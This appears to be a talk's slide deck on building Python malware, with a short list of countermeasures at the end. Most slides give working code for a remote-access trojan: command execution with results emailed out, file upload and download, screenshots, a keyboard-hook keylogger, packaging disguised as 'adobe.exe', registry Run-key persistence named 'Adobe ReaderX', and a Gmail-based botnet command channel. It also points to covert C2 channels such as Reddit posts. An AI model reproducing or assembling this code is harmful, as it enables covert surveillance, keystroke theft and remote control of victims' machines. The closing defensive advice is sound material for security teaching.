

# Python malware & countermeasures

- Create Python payload
- Make it executable everywhere
- Make it persistent on host
- Manage deployed agents

To learn how to protect your system with Python

~ \$ whoami

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- ESET
- FEI, CISSP, CEH
- Security, Encryption, Python, Drupal, Selenium
- Progressbar

# Create Python payload

## Usage:

- |                    |                               |
|--------------------|-------------------------------|
| -- cmd CMD         | Execute a system command      |
| -- download PATH   | Download a file from a client |
| -- upload SRC DST  | Upload a file to the clients  |
| -- screenshot      | Take a screenshot             |
| -- start-keylogger | Start keylogger               |
| -- stop-keylogger  | Stop keylogger                |

# Create Python payload

## Execute a system command

```
class execCmd(threading.Thread):  
    ...  
    def run(self):  
        try:  
            proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE,  
                                    stderr=subprocess.PIPE, stdin=subprocess.PIPE)  
            stdout_value = proc.stdout.read()  
            stdout_value += proc.stderr.read()  
  
            sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid)  
        except Exception as e:  
            #if verbose == True: print_exc()  
            pass
```

- subprocess.popen - standard library, replace old os.system
- Simple option is subprocess.check\_output but popen let's you to manage environment

# Create Python payload

## Execute a system command

```
Enter Command: ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 5:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 192.168.56.101
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.56.1

Enter Command: whoami
VM Test

Enter Command: 
```

Example of “ipconfig” and “whoami” command executed by reverse shell connection

# Create Python payload

## Download and Upload file

```
class download(threading.Thread):
    ...
    def run(self):
        try:
            if os.path.exists(self.filepath) is True:
                sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath])
            else:
                sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid)
        except Exception as e:
            sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid)

class upload(threading.Thread):
    ...
    def run(self):
        try:
            with open(self.dest, 'wb') as fileh:
                fileh.write(b64decode(self.attachment))
            sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid)
        except Exception as e:
            sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid)
```

# Create Python payload

## Screenshot – 1. Get monitor position

```
class screenshot(threading.Thread):
    ...
    def enum_display_monitors(self, screen=-1):
        ''' Get positions of one or more monitors.
        Returns a dict with minimal requirements.
        '''
        if screen == -1:
            SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77
            SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79
            left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN)
            right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN)
            top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN)
            bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN)
            yield ({
                b'left': int(left),
                b'top': int(top),
                b'width': int(right - left),
                b'height': int(bottom - top)
            })
```

# Create Python payload

## Screenshot – 2. Get pixels

```
try:
    bmi = BITMAPINFO()
    bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
    bmi.bmiHeader.biWidth = width
    bmi.bmiHeader.biHeight = -height
    bmi.bmiHeader.biPlanes = 1 # Always 1
    bmi.bmiHeader.biBitCount = 24
    bmi.bmiHeader.biCompression = BI_RGB
    buffer_len = height * width * 3
    self.image = create_string_buffer(buffer_len)
    srcdc = windll.user32.GetWindowDC(0)
    memdc = windll.gdi32.CreateCompatibleDC(srcdc)
    bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height)
    windll.gdi32.SelectObject(memdc, bmp)
    windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top,
        SRCCOPY) # SRCCOPY = 0xCC0020
    bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image,
        bmi, DIB_RGB_COLORS)
    if bits != height:
        raise ScreenshotError('MSS: GetDIBits() failed.')
```



# Create Python payload

## Keylogger

```
class keylogger(threading.Thread):
    ...
    def installHookProc(self, pointer):
        self.hooked = ctypes.windll.user32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            windll.kernel32.GetModuleHandleW(None), 0)
    ...
    def startKeyLog(self):
        msg = MSG()
        ctypes.windll.user32.GetMessageA(ctypes.byref(msg), 0, 0, 0)

    def run(self):
        pointer = self.getFPTR(self.hookProc)

        if self.installHookProc(pointer):
            sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid)
            self.startKeyLog()
```

# Make it executable everywhere

- Linux:  
`sudo apt-get install python2.7 build-essential python-dev zlib1g-dev upx`
- Windows:  
<http://www.activestate.com/activepython>  
(fully packaged installer file)
- Install Pywin32, Setuptools, PyInstaller

# Make it executable everywhere

```
# python pyinstaller.py --onefile <scriptName>
```

<scriptName>.txt

<scriptName>.spec

<scriptName>.exe



adobe.exe

PyInstaller is a program that freezes (packages) Python programs into stand-alone executables, under Windows, Linux, Mac OS X, FreeBSD, Solaris and AIX. Its main advantages over similar tools are that PyInstaller works with Python 2.7 and 3.3—3.5, it builds smaller executables thanks to transparent compression, it is fully multi-platform, and use the OS support to load the dynamic libraries, thus ensuring full compatibility.

# Make it persistent on host

```
import sys, base64, os, socket, subprocess
from _winreg import *

def autorun(tempdir, fileName):
    # Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))

    # Queries Windows registry for key values
    # Appends autorun key to runkey array
    regaddr = "Software\Microsoft\Windows\CurrentVersion\Run"
    key = OpenKey(HKEY_LOCAL_MACHINE, regaddr)
    runkey = []
    i = 0
    while True:
        subkey = EnumValue(key, i)
        runkey.append(subkey[0])
        i += 1

    # Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        key = OpenKey(HKEY_LOCAL_MACHINE, regaddr, 0, KEY_ALL_ACCESS)
        SetValueEx(key, 'Adobe ReaderX', 0, REG_SZ, r"%TEMP%\mw.exe")
        key.Close()
```

# Manage deployed agents

## GMail C&C

```
def checkJobs():
    #Here we check the inbox for queued jobs, parse them and start a thread

    while True:
        try:
            c = imaplib.IMAP4_SSL(server)
            c.login(gmail_user, gmail_pwd)
            c.select("INBOX")

            typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'botnet:{}'.format(uniqueid))

            for msg_id in id_list[0].split():

                #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))

                msg_data = c.uid('fetch', msg_id, '(RFC822)')
                msg = msgparser(msg_data)
                jobid = msg.subject.split(':')[2]

                if msg.dict:
                    cmd = msg.dict['cmd'].lower()
                    arg = msg.dict['arg']
                    #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))
                    elif cmd == 'download':
                        download(jobid, arg)
```

# Manage deployed agents

## Other channels


- IRC
- JPEG (EXIF; 64k)
- Win Office Word file (XML metadata)
- Linkedin.com status, Reddit status, DNS requests,

# Manage deployed agents


## Other channels

← <https://www.reddit.com/search?q=0ADE119726E275E5>

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 reddit 搜尋結果

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適用搜尋: 依照作者、版區...

排序依據: 相關性 ▾ 連結發表時間: 任何時間 ▾

- 1  188.167.254.92:51667 203.189.149.193:42127 148.100.174.31:60071 183.5  
 94.56.11.101:10785 129.100.194.234:3236 67.58.220.94:62711 186.79.22.4  
submitted 7 hours ago by vtnhiaovyd to /r/minecraftserverlists  
1 留言 分享
- 2  169.233.236.214:21441 81.218.14.201:40857 0ADE119726E275E5 186.79.2  
 217.216.138.40:11691 177.248.104.127:24243 31.165.220.138:8511 83.78.  
submitted 15 hours ago by vtnhiaovyd to /r/minecraftserverlists  
留言 分享

# Lessons Learned

- Added executable
  - Filesystem change watchdog, process isolation
  - Whitelisting, Software Singing
- Persistence required (Sunday workshop!)
  - Watch for changes in registers and startup scripts
- Network communication
  - Periodicity, content patterns, machine learning



Q&A